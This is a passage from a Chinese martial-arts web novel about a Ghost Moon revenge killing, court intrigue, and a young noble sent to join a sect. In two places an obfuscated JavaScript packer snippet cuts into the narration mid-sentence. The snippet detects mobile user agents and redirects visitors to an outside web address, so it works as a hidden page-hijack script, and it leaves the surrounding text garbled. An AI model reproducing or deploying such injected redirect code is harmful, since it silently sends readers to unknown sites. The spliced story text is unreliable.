“袁大人真诚，妖雪佩服，今日轩味记一见倒是没有什么大事，只是听说他们家上新了一道口味鸡，希望邀袁大人一同评鉴一番。” 袁墨若有所思看着眼前这姑娘，他们二人素未相识，这姑娘叫自己来就是为了吃饭？这必然是不可能的，袁墨很快就否认了自己，但是他很快就想到了一个更重要的原因——她在试探自己！恐怕今天要真是怀着什么坏心思来的，估计现在已经变成口味鸡了。 “萧姑娘果然有眼光，这家的味道确实不一样。萧姑娘若饭后没有安排，不妨我们去潇湘阁喝杯茶如何？” 轩味记人多口杂，不是说的地方，他们两在这也不可能打开天窗说亮话，还不如先好好吃个饭。袁墨选择了潇湘阁也足够展现自己的诚意，萧妖雪也不多言，二人简单用完膳后便起身前往了潇湘阁。 进了潇湘阁后，萧妖雪向接待的女子亮出了令史的令牌，想必是之前沈轻离已经打过招呼，女子并未多问而是轻车熟路的将二人引到五楼角落的房间，女子退出去时，萧妖雪说道：“今日不用叫沈楼主过来了，你们也不必伺候，我与袁大人有事要谈，就算我们借用下这房间了。” 袁墨今日没穿官服，头发还是整整齐齐束好的，眼神中也没了对待朝堂那抹冷酷，这样看倒是挺温和近人的，就算这房中只有他们二人，萧妖许也不会从他身上感受到威胁。 一切坐定，萧妖雪也不再多费口舌，直奔主题“袁公子也放心，袁梅是我的朋友，我必然不会做伤害她的事情，鬼月当年的恩仇自然是由你们自己去解决，若有用得到我的地方，只要是我能力范围内的，我也在所不辞，但是我希望你们的所做不要造成一些不必要的伤害。” 袁墨听到这苦笑一声道：“我知道现在京都中到处都是潇湘阁眼线，这次萧姑娘找我一方面是确定我不会做出什么伤害潇湘阁的事，另一方面也是想知道我为什么要苦心积虑的策划这场声势浩大的鬼月杀人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573113|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却只是杀了一个看起来和当年无关紧要的女子吧。” 袁墨能这样轻易松口萧妖雪也是松了一口气，看来是真的把自己当成同盟了，至少这样鬼月这颗不知道什么时候会炸的炸弹，在他们这算是有了眉目，不至于像十年前那样措手不及。 “那袁大人打算如何？鬼月旧案要翻案可不是那么容易的事。” “当年鬼月出事错不在一人，又或者说，今日朝堂之上这些身居高位者大抵人人都有一份吧。我说过梅正源只是个开始。“ 说到这袁墨停顿了一下，萧妖雪接道：”当年鬼月最初的破绽就是一个鬼月下属在传急报时，撞上了一位出游小姐的马车，影响了小姐心情，后面就被百般阻挠，虽然最后急报还是送到它该去的地方，却终究是送晚了，直接导致那次刺杀任务失败。关键那送急报的下属还被那名小姐派人跟踪了，之后不知道那小姐出于什么心理，竟然将这下属的行为宣扬为通敌叛国。此事一时之间就引起了圣上的关注。但我记得此事最后只是由这下属一人担了罪责罢了。“ “不错，因为当时那小姐家族的靠山，没人敢拿她怎么样，鬼月知道他无错，用尽一切办法保他，可是终究是被那些个谗臣钻了空子，最后还是那下属担了所有的罪责。此事过后，君臣离心，小人谗言不断，鬼月被一步一步从黑暗中拽了出来。我们承载的是这个王朝最阴暗的东西，一旦有一天暴露于阳光之下，就相当于将东梁送上断头台。所以那些奸佞，就拿准了圣上只能要鬼月亡这一想法，步步紧逼。那一日当时的御前护卫长，就在那座金殿上，他报出了足足二十余个鬼月成员的名字，圣上此时，箭在弦上不得不发，捉拿了名单上的人员。此时闹大后鬼月与朝廷的矛盾彻底爆发，父亲带着剩下的远离了朝廷，投奔了一位友人，可谁料到圣上不念旧情，朝廷紧追不舍，处处严查，最可笑的事当时父亲最信任的那位朋友尽然就这样出卖了他。鬼月首领被捕，剩下的人没多久也被一网打尽，自此世上再无鬼月。” 说到这原本面目平静的袁墨，已经是眼睛微微泛红，头上青筋暴起，一股戾气由内而外的散发出来，之前接触时的温文尔雅荡然无存。 “所以当时的那位跋扈的千金就是梅正源，那你说她只是开始，其实那位‘朋友’才是关键吧。”萧妖雪好似明白为何袁墨在此人身上说法模棱两可，毕竟他对面的坐的不仅是潇湘阁的少阁主还是李府的千金，有些话永远不能挑明了说。 没想到袁墨却对她的话题避而不谈，自顾自的说起了其他“不错，但她只是一个交易品。” 说过的话题，流走的水有些事终究是时机未到，只能浅尝辄止。 周钦德小记： 开元二年，先皇立太子，为了防止其与皇子作乱将他们全部分封出京。周钦德本就没有鸿鹄之志，也不愿意染指皇权，所以对于封地也无心经营，自己便带着两个随从开始游历天下，这两人一人名叫徐战一人名叫袁清，说是随从其实也是志同道合之人，这一路下来他们三人都是有说有笑，丝毫没有主仆之分。 只是自从在玄宗看了一场擂台赛后，徐战和袁清发现这周钦德似乎有什么心事，今日更是一反常态，云阁辩武何等大事，他作为皇室中人，本来就是开开眼界就好了，没想到他一个之前剑都拿不稳的人，竟然敢开口点评，甚至直接影响了这场的辩武结局。 更加令徐战和袁清头大的是这家伙怎么一转眼的功夫就不见了人影。徐战性情直爽平日里他与周钦德走的近，袁清性格有些阴沉，但却是他们三人中武功最好的人，至于周钦德，就是他们的钱包，所以现在钱包没在了，二人也很是着急。 不过好像这边的焦急并没有影响到钱包的想法，现在的钱包正在云阁的一个花园中，给刚刚打败路川的萧云雁送药。 “萧姑娘，这可是皇家御用的金创药，你试试我保证药到病除。”周钦德看着靠着墙角痛的直冒冷汗的萧云雁说道。 “云雁谢过公子，刚刚多亏了公子，云雁这次才能获胜。刚刚公子已经帮了大忙，这金创药是金贵之物，云雁再收就不合适了。” 周钦德看着萧云雁的伤已经这么重了，竟然还这么坚持，心中竟然生出了一丝不悦。“我……不是，本王名叫周钦德，是当今圣人的第五子，封号德王，这金创药与本王不是什么稀罕物，你拿去用就好。还有记住本王帮你是本王愿意，你最好不要和本王说什么报恩，本王不需要，可记住了？” 说完再看萧云雁明显被他说得一愣，缓了半晌才回过来。“那云雁就谢过……” “停，刚才说的。”周钦德看着萧云雁又要出言道谢，急忙制止。 周钦德也自知刚刚说话有些奇怪，但是一时之间他还真没想到什么方法补救。只是他没想到萧云雁接下来的话会这么令他震惊。 “既然德王殿下是皇室宗亲，不置可否在云阁多住几日，就帮云雁看看那路川，是否按照赌约戴孝。” “我？” “这还有谁吗？” “为何是我？” “因为你看起来很闲，不行吗？” “额……那好吧。” 16. 鬼月杀人3 十五日日落之后，梅正源今日在菊花宴被徐菀露冷了一道，心情正不爽，谁料这刚一出门上了马车就被人迷晕，之后就是被嘴角的剧痛惊醒的。醒来后梅正源只觉得自己的脸上粘粘糊糊的，结合剧痛瞬时间她就知道自己的脸发生了什么，想张嘴喊叫，但刚张嘴就是一阵剧痛，血水流入喉咙，呛的她一阵剧烈咳嗽。然后就听见一女声说：“看吧我就说先把嘴划了，免得还要听她只哇乱叫。”说话的时候梅正源一阵乱抓没想到竟然抓到了一枚剑穗，女子一拉，剑穗落地，楼内光线昏暗，她并未注意到。 只听得男子回道：“不错，现在醒了，把指头也剁了吧，当时她拦路的时候这指头可没少用。” 还不等梅正源反应，她的右手已经传来剧痛，失去了手指的感觉让她想握拳都做不到，剧烈的疼痛让她再次晕了过去，再次醒来后就看到钱万仕在她面前。 袁墨用书信和白银将钱万仕约到了虎丘阁，钱万仕一上楼顶就看到被绑着的梅正源，她的嘴已经被完全划烂，双手十指都被剁去，整个人可怕至极。钱万仕正想离开，一把刀就架在了脖子上。袁墨从阴影中走出来，手上也拿着一把短刀，他对钱万仕说：“钱大人，别着急走呀，我们做笔交易如何？哦对了，自我介绍一下我叫袁墨。” 月光从楼阁的窗户中透了过来，袁墨背光而立，钱万仕看不清他的表情，但他可以肯定，若是看清了估计自己的腿都要站不直了。钱万仕开口时才发现自己声音已经在发抖了：“袁……袁公子你说你说。” “我已经让人放了一百两银子在钱府，现在你可以选择收下那百两白银，让梅正源死，然后引荐我入职刑案司。又或者也可以选择让梅正源活但是兵马司副职钱万仕收银百两，最后却惨死家中的事明天就会传遍大街小巷。” 说话间袁墨已经将刀比划到梅正源胸前，此时梅正源的嘴已经说不出话了，只能发出呜呜声，眼泪从始至终都没断过，眼神绝望的望着钱万仕。 但钱万仕是什么样的人，袁墨既然敢让他选就是确定他一定会选一个让他满意的答案。果然钱万仕并没有纠结多久，就开口道：“我选我保你，我保你！” 袁墨得到了理想中的答案也是微微一笑，然后走到钱万仕面前，将短刀递给他道：“钱大人当了这么多年兵马司副职，应该不是只有嘴上的功夫见长，这拿刀的技术应该没有下降吧，你来动手吧。” 此时钱万仕真的想用短刀捅入眼前这男子的胸膛，可是他也感觉到脖子上剑又贴近了自己几分。无奈他也终能硬着头皮走上前去，一刀扎入梅正源的胸膛，看着生机渐渐从她的脸上流失。 袁梅心中戚戚，果然这个朝堂就是这样，为了自己的利益，为了任何一分情谊都是多余的。 萧妖雪袁墨二人谈完已经是时近旁晚，袁墨先行离开了，萧妖雪走到了窗前，看着窗外似火的云霞，车水马龙的大街，沿街的小贩不断吆喝，京都被晚霞染成了橙黄色，但是这般色彩却让人感不到一丝温暖，就像一个看似柔软的陷阱，只要一不小心，血液就会献给这抹橙黄，让它最终变为血红。 袁墨走后，萧妖雪将今日听到的事情记录成册，贴上密件标识，命京都潇湘阁的人连夜送到了谷内，交给文妆，由文妆亲验后收录。 离开潇湘阁的时候天已经黑了，夜幕降临，寒风已经透骨，路上已经没什么人了。潇湘阁离李府不远，一炷香的时间就可以走到，萧妖雪甚是享受这样行走于黑暗中，虽然周围的黑暗中可能潜伏着危险，但是反倒是这样才可以使自己的弦不松懈，路才能走得更长。 这一路上，萧妖雪脑海中就一直重复着一句话“当年的鬼月可能会是以后的潇湘阁，还望萧阁主谨慎行事。”这句好话师傅和文妆也常常会对自己说。只是如今现实摆在眼前，萧妖雪也开思考现在的潇湘阁与朝廷，鬼月和潇湘阁都是东梁的阴暗面，没有人希望他们暴露在阳光下。潇湘阁相较于鬼月是好在它不用完全依赖皇室，但若有一日，皇室对潇湘阁发难，潇湘阁是否会步鬼月的后尘，此事萧妖雪说不准。恐怕初代阁主也是担忧这样的情况发生，才要求阁中之人必须要有自己市井的身份，若有朝一日出了事，死的也只是潇湘阁，而不会是市井中的她们。 回到李府，府内已经灯火通明，昏黄的灯光不似晚霞那般铺满大地，但是带给着周围几人一丝光明还是可以的，灯光之中不会有如晚霞那般避无可避，只要愿意，退一步就可以回到令人冷静的黑暗。萧妖雪还没走到卧房，就有小厮过来请她去老爷房中一叙。萧妖雪本以为李治是为了昨夜梅正源之死，正琢磨着自己到底应该说多少好。 李治的书房布置非常简约，一张桌子上面点着油灯，放着熏香，除了门以外的三面墙壁都是书柜，上面满满当当放的都是书，门旁有一扇窗户通着走廊，窗下是一张简易的案几，配了两个坐垫。萧妖雪进去后李治正坐在案几旁，见到萧妖雪进来，招手示意她坐到身旁。 待萧妖雪坐定后，李治开口道：“妖雪，你这些年在外游历，想必见识不少，无忧现在全家上下就听你的，但是你也有自己的事情要忙，不能天天盯着他，我思索给无忧找一个师傅。你看可有合适的？” “练武的师傅？”这问题她之前并不是没有想过，但是她没有想到会是李治亲自来过问。李治作为李家之主每日都要忙于朝政和李家的经营，家中子女成长以前是母亲操持，现在是王氏主持，一直以来都井井有条，她一直觉得李治对府内之事从不过心，没想到他竟然也如此细致。 李无忧确实是习武料子，自己自从在在潇湘阁露过面了，事情也渐渐多了起来，似乎教李无忧的时间少了不少，有几次他追在自己身后问问题，自己着急出门都没搭理他，如此看来李治说的也有道理，自己的门派并不适合这样一位世家小少爷，就算自己把他教出来了，估计对他也没多少好处，说不好以后到了江湖上还会饱受争议，倒不如为他寻一合适的宗门。不过作为李治——当朝宰相的儿子，这个宗门可是要考虑很多，虽说东梁江湖不理朝政，但谁也保不齐这其中有那么一丝半点的关系。 这次李治收了她这个“江湖儿女”作为女儿，朝堂上下已经有人不少人拿着此事做文章了，好在圣人那边什么都没说，这事也算过去了，假如此时李治再将李无忧送去云阁，那可谓就是狼子野心了。 思来想去，或许还是那里最适合。“最近落雁关的武清宗正在招收门徒，这个武清宗江湖上算不上大门派，一方面是因为地处偏远，另一方面，武清宗的掌门人武榜十一的武清老祖，他不愿与京都的这些权贵往来，收进去的弟子都是一方式对待，去过几个豪门世子之后，都不喜欢那风格。在京都的风评就败坏的差不多了，所以也不会有家族愿意送人去了。不过再过几天就刚好遇上武清老祖开山收徒，这次收入门下的徒弟有一个名额是武清老祖的亲传弟子，所以应当还是会有不少人前去参加的，毕竟武清老祖是现在武榜前二十里面少有的这样公开收徒的人了。”萧妖雪道。 “武清宗？确实是个不错的选择。” 萧妖雪听李治的口吻似乎对这个武清宗很是了解，看来这李家对于这天下也真是了如指掌。 李治似乎是想到了什么又补充道。“最近朝廷内暗流游动，你说的这个武清收徒之事我也是略有耳闻，不过盯上这次收徒大会的人不少。所以妖雪我希望这次就你亲自带着无忧去，你们就在大会前两天从京都快马加鞭的过去，不然我担心路上又会横生枝节。而你回来的时候可以顺道去胡笳城看看，说不好会有些意料之外的收获。” 意料之外的惊喜，听起确实是一个难以拒绝的条件。再说虽然现在自己知道鬼月复仇一事的矛头现在还没有对着李家，但是保不准李治的那些个政敌不会拿这件事做文章，让李无忧先行离开这个是非之地，免得未来剑仙被早早地扼杀。 出了李治书房后，月亮已经行至树梢，萧妖雪正走回自己房间时，就听到身旁的一间屋子里传来了叹息声。再一看房间赫然是兄长李安国的卧房，好奇心驱使，萧妖雪收敛气息走到窗边，李安国的窗户并未关紧，从缝隙中可以看到，他正坐在床上，拿着一幅画在端详，好巧不巧萧妖雪站的这个位置可以看清画像，这画像之人一身鹅黄色衣裙，虽未画眉眼，但是萧妖雪有九成的把握确定这画像之人自己必然见过。 脑中将这段时间来京都见到人好好回忆了一遍，果然答案跃然纸上——黄清落！ 竟然是她，就算是看过京都不少秘闻的萧妖雪，现在内心都有几分激动，兄长似乎对这位黄姑娘情有独钟呀，那自己日后不得助力一把，缘分的事情还真是巧呀。 接下来几日，京都之中相安无事，刑案司的小官员们跟着新来的副职到处跑，彻夜查案，但似乎就是差这么点眉目。萧妖雪则是去了几次潇湘阁，把这些年鬼月的行踪又整理整理，最后得出一个自己看了都有些震惊的推论，当时袁墨说最后收留了袁清的那位朋友，很有可能就是自己父亲李治。回忆了一下，在那年年底的时候，李治总是各种缘由不在家，当时萧妖雪还小，整天念叨要见爸爸，李治可能也是为了弥补内心的愧疚，每次回来的都给她带一根糖葫芦，谁料到这让小姑娘的思念更深了，又是要爸爸又是要糖葫芦。就连原来一向乐观的母亲张青，在这件事上每每萧妖雪闹起来都是叹息不断。现在想来估计也与这件事有关。 除此以外，就是黄清落有事没事就来找萧妖雪谈天说地，萧妖雪倒也不烦她，毕竟这小姑娘本来就讨喜，现在又知道了兄长的心思，她自然要和这位“准嫂嫂”多走动走动。而且萧妖雪还发现黄清落除了经商，在临摹字迹上也有一手好功夫，只能说这姑娘确实是一个人才，只是奈何家里的观念限制了她的发展，或许以后能得一人给她足够的保护，希望她的父母也愿意让她走出家门试一试。 京都中的人总是很忙碌，所以京都的时间好像流逝的也更快一些，眼见距离武清宗开宗的日子只有五日了。这日傍晚李无忧出去河边混了大半天刚回，现在口干舌燥的。刚进门就被萧妖雪拉走了，此时李无忧心里就想着是不是自己这段时间在外面捅了什么篓子， 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表面上的李无忧是呆楞住了，但是他的内心已经在几息之间演化了数种自己之后十年的命运。最后还是被萧妖雪声音给打断了。 “无忧，我知道这些年武清宗在京都的口碑不太好，但是其中大有夸大之词。你的武学天赋极佳，武清比我更适合做你的师傅。” 此话一出，萧妖雪看到李无忧已经从面无表情变成了眼含热泪，但是她可以肯定这孩子的眼泪绝对不是感动。 果然下一秒，李无忧就含着哭腔说道：“雪姐姐，你们是不是不要我？” “？！”对于李无忧会得出这样的结论萧妖雪也很是惊讶，但毕竟是孩童心思单纯，这样想或许是最好的。 眼见眼泪流下来就一发不可收拾，萧妖雪急忙将孩子搂入怀中安慰道：“小无忧呀，你怎么会这样想呢，雪姐姐只是觉得你最近的武艺见长了，真的想给你找个师傅好好学学，这个武清叔叔雪姐姐之前就认识，他和武清宗其他那些长老可不一样，他这人可有趣了，我相信你们一定处得来。” “真的？”不知道是因为真被这句话安慰到了，还是因为她称呼武清为叔叔，李无忧目光终于有了动摇。 “是呀！咱们家无忧以后可是要称霸江湖的人，你雪姐姐当然会给你找一个配得上你的师傅。” 果然给这般大小的孩子画饼，收效就是快，李无忧的鼻涕眼泪已经止住了，开口道：“雪姐姐，我们何时出发？” “明日一早，就你我二人，快马加鞭过去。” “啊？为何如此着急，我明日还要去……” “因为怕你后悔！” “雪姐姐，你！” “快去收拾东西。” 眼见再说这眼泪又要自己解决，萧妖雪不惜用上了轻功，将李无忧丢回他的房间。 黄清落小记： 五岁那年是黄清落第一次出远门，去的地方是黄世学的老家江州。江州的商人遍及天下各地，当今几大富商，若是寻根究底都和江州有着不简单的关系。但是在这商贾遍地的地方却出了一个官，还是一个京官，如今这京官要回来，各家各户都做好准备挖苦他的说辞了。 但不料这京官带回来了个天才，刚到江州一日，便看中了城中百年老店汇昇通的算盘。第二日就自己琢磨着开始学打算盘，第三日就开始研究家里面的账目，还真让她算出了十两银子的缺失。 自此黄家出了个神童的消息就飞速的传遍了江州。黄家几个主事的老爷都执意要求黄世学将黄清落留在江州他们亲自栽培，为此开出了令人挪不开眼的条件，但是最后回应他们的还是黄世学冷漠的拒绝。 但毕竟是别人的闺女，他们是商人不是强盗，这事人父母不答应他们也不能硬抢。 但似乎也是此事过后，黄清落经商天赋也彻底打开了，在从江州回京都的途中，他们路过京都城外的宅子，这所宅子是黄家一个旁支的亲戚在经营，不过是一家落脚休息的小客栈。 黄世学带着妻儿进去同这亲戚打了声招呼，黄清落则是好奇的四处乱逛。离开之后，黄清落说出了让黄世学非常印象深刻的一句话。“爹爹，我觉得这个店要不行了。” 要知道他们去的时候太阳还没落下，但是打尖住店的人已经来了好几波，这怎么看都不像要不行的样子。 黄世学虽然是做了官，但是早些年也是学过经商的，不解的问道：“为什么呢？” “这里太好了背山面水，又有小溪环过，用来开酒店太不值了，定然会人心动的。老板叔叔虽然经营的不错，但是比起买这块地花的钱，那是远远不够的。” 黄世学听了这理由，只觉得之前在江州家里人对于黄清落的评价还是太高了。经商不仅要懂商还要懂政，如今圣人打压贪官污吏，哪有人敢花这钱买这样一个宅子。 但是说黄清落是天才还真是天才，仅仅一年之后，朝中一个尚书官拜宰相，当日他就花重金买下了这个院子更名鹿坪丘。 17. 无忧拜师 翌日清晨，太阳的光芒刚刚洒满大地，李无忧已经给李治和王氏敬过茶了，现在一家人站在李府门口。李治上前拍了拍李无忧的肩膀，语重心长地对李无忧道：“无忧，你此去注意安全，无论发生什么以自身安全为重，记得一定要注意安全。” 李无忧年纪还小，李治口中的话他还听得懵懵懂懂，他只觉得是父亲觉得自己和姐姐两骑上路不是那么安全，所以才要多嘱咐，可是他也没想到这会是父亲最后一次这样嘱咐他了。 萧妖雪却听出了其中意义，最近京都风波大，李治想把李无忧送出去，一方面是为让他精进武艺，而另一方面则是希望李无忧在外面避避风头，若是李家能撑过这一波风浪，李无忧还是李家最受宠的小儿子，若是撑不过，他也还是武清老祖的徒弟，朝廷也不会拿他怎样。 李治说完王氏又开始絮絮叨叨的交代李无忧，这一瞬间萧妖雪有些恍惚，似乎当年自己去郊游那次，出门前，母亲也对自己说了好多话，可是现在怎么一句都想不起来呢，难道说当时母亲就已经知道了，之后会发生的事情吗？ 眼看太阳都已经完全跃上天空了，朝霞散去，只剩蓝天白云。初冬的京都，并没有多少雨雪，只不过阳光照在身上不再温暖罢了。 萧妖雪打断了王氏的絮叨，带着李无忧翻身上马，向着城门而去，身后留下李府众人。李安国将二人送到城门口，出了城门眼见分别还是要到来，李安国也难免有几分悲伤。他从怀中拿出了一枚令牌，上面刻着一副罗刹图。他将令牌交给萧妖雪道：“妖雪，听说你此行会去胡笳城，这是一枚胡笳城的调兵令，我当年的几个战友现在就驻守在胡笳城。若是真遇到什么困难，持此令他们会帮你的。” 萧妖雪并没有接过令牌，她明白要真遇上什么事了，这令牌于她几乎无用。“兄长，令牌就不用了。我的师从你可是知道的，胡笳城的潇湘阁那在江湖上可是鼎鼎有名的。你就放心好了，我们都不会有事的，时候不早了，我们就先走了。” 说罢翻身上马，向着西方绝尘而去。果然如他们所预料的一样这一路上并没有遇到什么麻烦，快马加鞭，仅仅用了三日的时间，二人就赶到了落雁关。此时已近黄昏，落雁关的太阳似乎也落得特别早，萧妖雪二人到的时候正巧逢上风沙，吹得天昏地暗，一片昏黄的视野中忽然出现了一座城池，如同一头潜伏在风沙之中的巨兽，暗暗盯着误入了风沙的猎物。 萧妖雪和李无忧在武清宗事先安排好的客栈住下，因为风沙天气，他们之后一天都未出客栈，不过客栈中人来人往也甚是热闹。 落雁关谈不上大地方，武清宗也并不在落雁关的城池内，而是在旁边的回雁山，不过是每每宗门有大事要邀四海八荒的武林中人来时，会借用落雁关中的客栈，作为报酬平时落雁关的城中的治安都会由武清宗来负责，这沙漠中有不少马匪，之前的落雁关苦不堪言，不过自从武清宗出手相助了倒是成了一方太平的城池，所以二者倒是也相辅相成。 这次武清老祖开山收徒倒是聚集不少江湖、世家的人士，落雁关也是许久没有这么热闹过了。萧妖雪和李无忧这次来得匆忙既没有带随从，穿着也比较随身，又是几天几夜的赶路，到了落雁关难免脸上都挂着一丝奔波。就算回房洗漱整理了以后，但是相比于客栈中其他个世子爷也是少了几分气派。 这客栈本来不大，现在已经是饭点时间，厅堂之内坐满了人，唯独中间不知因为什么原因空出了一张桌子。在京都他们都是生在一人之下，万万人之上的宰相之家，低调谦让自然不存在，所以这没人留座的桌子他们就很自然的坐下了。可是刚刚坐下，就听到身后楼梯上一阵躁动，随即就看到一个身着白袍，腰环玉带，手持折扇的公子哥，只是此人皮肤黝黑，一看就是西域人，这样一身看起来难免奇怪。但是此人看起来地位不低，在一群人的簇拥着下楼，再仔细听那些人口中喊的都是小马爷。 同时萧妖雪还注意到在这位小马爷身后有一位形同枯槁的老头，那人的存在感很低，但是只要是习武人都知道，他那样的体态，多半是练阴法练出来的。所谓阴法与常见的练气不同，它要求的不是气息增长，而是卸去气息，甚至卸去生气，以此养骨，使原本松脆的骨头变得像钢枪铁棍一般坚硬，加以拳术或者掌法来对敌手造成伤害，所以习阴法者往往短命，江湖上阴法大成且健在的屈指可数。而这个老头看年纪和身形估计阴法已经大成，萧妖雪从他身上感受不到一点气息，同样也生机也甚是薄弱，但他却不像被千足王的尸蛊控制的蛊人那般僵硬。萧妖雪回忆了一下，这个人与武榜前五十之中一个叫做骨谙的颇为符合，而且卷宗中记载过，骨谙也是被沧州一姓马的世家招揽入府中。 只见那被称作小马爷的公子爷径直走到了萧妖雪和李无忧所在的那桌。起初萧妖雪也正纳闷这小公子哥怎么对他们有些敌意，后面发现感情在他下楼的时候，这个客栈中的其他人都已经起身。确实落雁关是在沧州地界，这次来参加的演武的人也多半是沧州人士，像李无忧这样从京都赶着来确实不多，所以这位马家小少爷确实是这里的“地头蛇”。 所谓强龙不压地头蛇，萧妖雪和李无忧也不愿为自己添麻烦，二人见来者气势汹汹，也只是起身一拱手，便打算就此带过。可偏偏这位小马爷不服气，开口道：“二位劳烦换张桌子，今日这客栈的大堂我都包下了，是请我的亲朋好友坐的，我与二位并不相识，不知二位可否换个位置？” 李无忧在京都也是数一数二的公子哥，又怎么听得他这样说说话，噌得一下就站起来了，道：“你说谁呢，我们来得时候可没人包，你算哪根葱？” “我可是沧州马氏嫡子马得源，这店我说我包了就是我包了。哦对了忘记回答你第一个问题了，说的就是你这个还带着个媳妇来的土包子。”马得源话音刚落，场上的火药味瞬间弥散开来，这马得源估计也是找过个不入流的师傅学过两招，体内有那么一点气息流淌，此时为了烘托气氛也是吃奶的力气都用出来了，将体内所有的气息放出来希望压李无忧一头。而他周围那些个小跟班也感受这位小爷体内气息变化，瞬间展开了极为夸张表演，有演被他的气息弹开的，有演被压迫到站不起身的，更有甚者甚至演出了被他的气息震晕的，看的萧妖雪和李无忧一时之间有些想笑。 不过世间权势多是这般，喜欢看着自己成为人群的中心，而那些平庸之辈，也甘愿成为他们的陪衬。单是一个沧州马氏就这般，更别说京都李氏了，这口恶气怎么说都不适合李无忧这宰相的小儿子来咽。 对于李无忧来说，之前萧妖雪教过他一些练气的法门，此时他的气息是比这马得源更深厚更纯粹，在他将气息放出七成的时候已经压过了马得源。不过萧妖雪也是佩服，要说这京都的公子确实有气度，识时事，李无忧的气息只是浅浅压过马得源一头，便没有再过多的释放，并且很快李无忧就将气息收回，让原本还在抵抗的马得源气息扑了个空，脸上也是控制不住的流露出愤怒的神情。 眼见马得源在武力上没有占到上风，又打算开口进行言语攻击。骨谙上前拉住了这位生事的小马爷，那如同来自铁剑交错般的声音传来：“小马爷，二位贵客远道而来，我们这样做有失沧州风度，既是二位先来不如就让他们先吃，我们人也没有那么多，让出一张桌子还是可以，你就当多交了这位朋友吧。” 马得源似乎还是对骨谙有一些敬畏，虽然生气但是还是顺着他给的台阶往下走了，讪讪开口道：“那就按骨老说的吧，你小子我记住你了，明天的演武上你最好祈祷不要遇到我，不然我让你好看。” 说完便带着他的一众跟班坐到旁边桌，不再理会二人，李无忧坐回座位后疑惑的看向萧妖雪道：“那人怕不是脑子有毛病吧，他们就不知道我们是谁吗？” 萧妖雪吃了一口菜后淡淡道：“他们越晚知道越好，不过看那老头的做派，这事恐怕是已经传到了沧州府，只是还没传到这位脑子不太好的小少爷耳中。” 一场闹剧收尾，却总有人喜欢复盘，回到客房的马得源一脸不服问骨谙说：“骨老，刚刚你为何拦我，虽然那小子气场不弱，但是要真打起来，我可不会输他。” 不得不说这也是少儿郎最珍贵的地方只是这位小爷可能…… “小马爷您知不知道他们是谁？” “我管他是谁呢，要我看那小子估计就是那个村里合力捯饬出来的，看着还人模狗样，要说那娘们，你别说长得还不错，不过一看就是买了给他讨的童养媳，可惜了跟了这么个小土帽。”说完这马得源还情不自禁的舔了舔嘴唇。 果然，这位小爷的脑袋真的……初生牛犊不怕虎，哦不对，应当是烂泥扶不上墙。 “他俩根本不是什么村里来的，那个小公子是当朝宰相李治的小儿子李无忧，那女子虽然我之前没见过但是按着最近的一些个事，估摸着就是李府刚刚认回去的女儿李婉，不过现在应该叫她萧妖雪。” “什么？就那两土包子？骨老您想多了吧，要是真是李家人，那怎么会就来两个人，他那些仆从呢？这少爷大小姐出门哪能是这么简陋呢？”马得源还是一脸的不相信，他这次来仆从侍卫都足足带了十余人，沧州距离落雁关才不过半日路程。那京都过来的就他两个他可不信。 骨谙苦笑一声，这小祖宗呀，怎么就是不听劝呢，难不成他觉得自己是在骗他：“小马爷呀，我之前在京都游历了一段时间，恰逢李府设宴，有幸被邀请了，宴会上我见过这位小少爷，不会认错的。” 马得源此时觉得有一些无力，他能感觉到骨谙确定这人就是李无忧，但是他又隐约有一种感觉，骨谙还有事瞒着他，但一时半会他这烂泥脑袋也想不出个什么，索性就不想了：“管他是李无忧还是张无忧呢，反正今天试过他的底，要和他打估计他的胜率也不超过三成。” 骨谙听到这想说这小马爷心是真的大，不过也好，这些事他沾得越少越好，毕竟那家子姓李的都不是善茬，最好还是别和他们结下梁子。 与此同时萧妖雪与李无忧也在谈论这位小马爷，不过气氛可比上面的那间房间和谐多了。 李无忧道：“这沧州马氏之前在京都就听人说过，在沧州势力不小，据说是军火贩子起家，后面做大了也不卖军火，改做刀枪剑戟，但品质不错，之前有个公子爷得了他们做的一把匕首，拿着在我们面前炫耀了好久。不过那做工确实不错，只是不知道这马家的公子竟然这么……” 李无忧犹豫了一下，一时之间找不到适合形容马得源的词，便索性不说了。 萧妖雪道：“看来你们京都公子圈的消息还挺灵的，不错马家在沧州确实是地头蛇，据说那官府都要让他们几里地。不过好在沧州地处偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是李无忧作为一个不折不扣的纨绔，他自然有些常人无法理解的想法。就是这日上街，平日里他对这些卖唱的都是不闻不问，但是今日他路过一个女子身旁之时，不知道是哪根筋搭错了，竟然对着那姑娘吹了一声口哨。 姑娘干这行应该也见过不少这样德行的人，对于李无忧这个小屁孩的无礼自然是视若无睹。 李无忧见对方毫无反应，竟然当街骂了一句“小贱人。”这话周围的人都听见，那姑娘当然不乐意了，自己凭借才艺谋生，这不知道哪里冒出的小孩子，不仅调戏自己，还当着这么多人说这样的话，越想越委屈眼泪止不住的就上来了。 当天跟着李无忧的家丁都觉得小少爷是不是被什么上身了，却不知只是白纸易污罢了。但是现在可不是深究这个问题的时候，好在李府的家丁都是机敏之辈，急忙忙收拾了残局，将李无忧带回了府中。 李无忧只觉得玩得不尽兴，回到府中看什么都觉着不爽恰逢就连王氏为他亲手的煮的面他都只吃了两口，剩余的全部都倒了。 终于盼星盼月亮将父亲和兄长盼了回来，李无忧之前的火气发泄得差不多了，便兴高采烈去了家门口迎接，只是没想到父亲和兄长今日回来，脸色都很臭，李无忧是个小孩子，哪懂这些直接就冲上去缠着他们二人要礼物。 